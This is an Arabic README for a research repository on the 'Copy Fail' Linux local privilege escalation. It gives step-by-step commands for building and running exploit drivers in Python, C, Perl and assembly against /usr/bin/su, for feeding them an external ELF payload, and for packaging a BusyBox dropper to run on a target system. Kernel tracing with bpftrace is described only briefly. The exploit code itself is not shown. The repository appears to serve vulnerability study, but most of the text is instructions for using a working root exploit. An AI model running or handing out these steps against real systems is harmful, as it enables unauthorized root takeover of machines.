
أدوات بحث، سكربتات إثبات المفهوم (PoC)، وأصول مختبرية لكتابة تصعيد الامتيازات المحلية في لينكس "Copy Fail" على https://4xura.com/binex/kernel/copy-fail
القطع الأثرية والنصوص البرمجية لدراسة CopyFail.
الشرح المتعمق:
proof-of-concept/ يحتوي على العروض التوضيحية البدائية فقط المستخدمة في الدراسة.exploit-scripts/ يحتوي على تطبيقات الاستغلال الكاملة بلغة Python و C و Perl وتجميع x86_64.bpftrace-scripts/ يحتوي على أدوات التتبع الصغيرة المستخدمة في التحليل أثناء التشغيل.تتوقع القطع الأثرية الخاصة بـ Perl والتجميع وBusyBox فقط استبدال ELF خارجي. في الأمثلة أدناه، يُسمى هذا الملف payload.pwnkit.elf، ولكن أي اسم ملف مقبول.
لا يتم إنشاء هذا الحمولة داخل هذا المستودع. قم ببنائها أولاً باتباع سير عمل الحمولة من الدراسة، ثم ضع ELF الناتج في نفس دليل العمل الذي يحتوي على القطعة الأثرية التي تريد تشغيلها.
يمكن تشغيل PoCs البدائية وبرامج تشغيل الاستغلال بلغة Python/C مباشرة كما هي.
هذه PoCs مخصصة بشكل أساسي للتوضيح في الدراسة. تُظهر البدائية الكتابة فوقها بمعزل عن سير العمل الكامل للاستبدال والتنفيذ.
لتشغيل العرض التوضيحي بلغة Python، أدخل دليل PoC ونفذ البرنامج النصي:
cd proof-of-concept
python3 copyfail_poc.py
لتشغيل العرض التوضيحي بلغة C، قم ببنائه أولاً ثم نفذ الملف الثنائي الناتج:
cd proof-of-concept
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
./copyfail_poc
استغلال Python مكتفي ذاتيًا ويحتفظ ببايتات الاستبدال في البرنامج النصي نفسه.
انتقل إلى دليل الاستغلال وقم بتشغيل مسار الهدف الافتراضي:
cd exploit-scripts
python3 exploit.py
إذا كنت تريد اسم قاعدة هدف مختلف، قم بتمريره كوسيطة أولى. لتمكين سجلات الكتابة فوق كل جزء، قم بتعيين DEBUG=1:
python3 exploit.py su
DEBUG=1 python3 exploit.py su
استغلال C مكتفي ذاتيًا أيضًا. إذا كنت تريد توزيع استبدال مختلف، قم بتعديل PAYLOAD_BYTES في exploit-scripts/exploit.c أولاً.
قم ببناء الملف الثنائي الثابت (اختياري) هكذا:
cd exploit-scripts
gcc -static -Wall -Wextra -O2 -o exploit exploit.c -lz
ثم قم بتشغيل الهدف الافتراضي، أو قم بتمرير اسم قاعدة مختلف. يتم التحكم في تسجيل التصحيح عبر DEBUG=1:
./exploit
./exploit su
DEBUG=1 ./exploit su
يقرأ هذا الإصدار حمولة ELF خارجية بدلاً من تضمين بايتات الاستبدال في البرنامج النصي.
قم بتشغيله من دليل الاستغلال. بدون وسائط إضافية، يستخدم الهدف الافتراضي ومسار الحمولة الافتراضي:
cd exploit-scripts
perl exploit.pl
إذا كنت تريد اختيار كل من مسار الضحية وحمولة ELF بشكل صريح، قم بتمريرهما كوسائط. يتم أيضًا التحكم في تسجيل التصحيح عبر DEBUG=1:
perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
DEBUG=1 perl exploit.pl /usr/bin/su ./payload.pwnkit.elf
يستهلك هذا الإصدار أيضًا حمولة ELF خارجية. في المثال أدناه يُسمى payload.pwnkit.elf، ولكن يمكنك استخدام أي اسم ملف. إذا قمت بإعادة تسميته، قم بتحديث سطر incbin في exploit-scripts/exploit.asm ليتوافق.
قم ببناء برنامج تشغيل التجميع باستخدام nasm و ld:
cd exploit-scripts
nasm -f elf64 exploit.asm -o exploit.o
ld -o exploit_asm exploit.o
ثم قم بتشغيل الهدف الافتراضي، أو قم بتمرير مسار هدف كامل:
./exploit_asm
./exploit_asm /usr/bin/su
يقوم هذا بتجميع برنامج تشغيل التجميع وحمولة ELF خارجية في مشغل واحد متوافق مع BusyBox. المثال أدناه يستخدم payload.pwnkit.elf، ولكن أي اسم ملف حمولة مقبول طالما قمت بتمرير نفس المسار إلى المعبئ.
قم بإنشاء أداة الإسقاط من دليل الاستغلال:
cd exploit-scripts
sh mk_busybox_dropper.sh ./exploit_asm ./payload.pwnkit.elf > copyfail-busybox.sh
chmod +x copyfail-busybox.sh
على النظام الهدف، قم بتشغيل البرنامج النصي المُنشأ باستخدام BusyBox sh:
busybox sh ./copyfail-busybox.sh /usr/bin/su
قبل تشغيل أدوات التتبع، تحقق من توفر الرموز ذات الصلة:
sudo cat /proc/kallsyms | grep -E 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy'
لمراقبة صفحات الملفات التي تدخل مسار الربط، قم بتشغيل:
sudo bpftrace ./bpftrace-scripts/bpftrace-filemap-splice.bt
لمراقبة البيانات المدعومة بالأنابيب التي تصل إلى AF_ALG، قم بتشغيل:
sudo bpftrace ./bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
لمراقبة رد الاتصال الضعيف لفك التشفير authencesn، قم بتشغيل:
sudo bpftrace ./bpftrace-scripts/bpftrace-authencesn-decrypt.bt